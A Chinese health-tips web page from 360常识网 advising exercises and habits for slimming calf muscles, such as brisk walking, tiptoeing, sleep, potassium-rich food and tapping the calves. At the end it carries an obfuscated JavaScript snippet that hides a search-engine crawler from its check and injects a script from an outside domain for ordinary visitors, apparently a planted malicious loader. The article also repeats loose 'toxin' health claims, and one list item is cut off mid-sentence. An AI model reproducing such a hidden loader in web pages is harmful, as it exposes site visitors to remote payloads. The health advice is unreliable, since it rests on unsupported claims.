当前位置:首页 > 减肥 > 运动减肥 > 正文

怎样运动减小腿肌肉呢

2017-04-21 19:46:01  来源:360常识网   热度:
导语:虽然现在很多的男性朋友们都想要去拥有一身肌肉的,这样的话就会显得非常的性感,但是如果肌肉长错了地方的话,就会让人们特别的心烦的,尤

虽然现在很多的男性朋友们都想要去拥有一身肌肉的,这样的话就会显得非常的性感,但是如果肌肉长错了地方的话,就会让人们特别的心烦的,尤其是女性朋友们小腿上面长肌肉,这样的话就会变得不太好看的,所以下面我们就一起来了解一下怎样运动减小腿肌肉。

1、多快走,多纵跳,多抬腿;少坐,少站,少蹲。这样可以防止下肢血液循环不畅,让腿部看起来肿肿的。

2、在每一个可能的时候踮脚,例如等车时、上楼梯时、工作间隙时等等。长期下来会发现不但小腿变得修长,连脚踝也格外纤细。

3、不跷二郎腿这会严重影响腿部线条。

4、少熬夜。睡眠不足会令身体的新陈代谢减慢,体内的毒素和多余废物难以排出体外,从而腿部出现水肿肥胖的现象。5、注意饮食。多吃香蕉、大豆、菠菜、紫菜等含钾的食物,帮助把多余的水分排出体外;少吃含糖分、盐

步骤一:打松结实小腿

其实想瘦小腿,先要检查自己小腿的肌肉是松弛还是绷紧。若是肌肉绷紧的话,要瘦就会比较困难。所以首要的减小腿计划,要由打松结实的小腿肥肉开始。

方法1

平日可坐在地上,将一只脚抬高成直角,以拳头拍打小腿,每边可做5分钟。

方法2

当假日时,不妨利用市面上的浴盐放入浴缸中,让小腿浸泡一段时间,就可以将肌肉松弛。浸浴完毕后也要在小腿进行拍打的动作,加速血液循环。

步骤二:加强消脂收紧运动

当小腿开始松软下来(或天生小腿松弛的),下一轮的减肥工作,便是加强消脂收紧效果,每日可以做些收形运动。

以上这篇文章就是向我们详细讲述了怎样运动减小腿肌肉,所以女性朋友们最好是采取快走,或者是抬腿的方式,这样的话就可以很好的去防止自己的下肢血液循环变得缓慢,而引起的肿胀的感觉,并且最好不要跷二郎腿。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}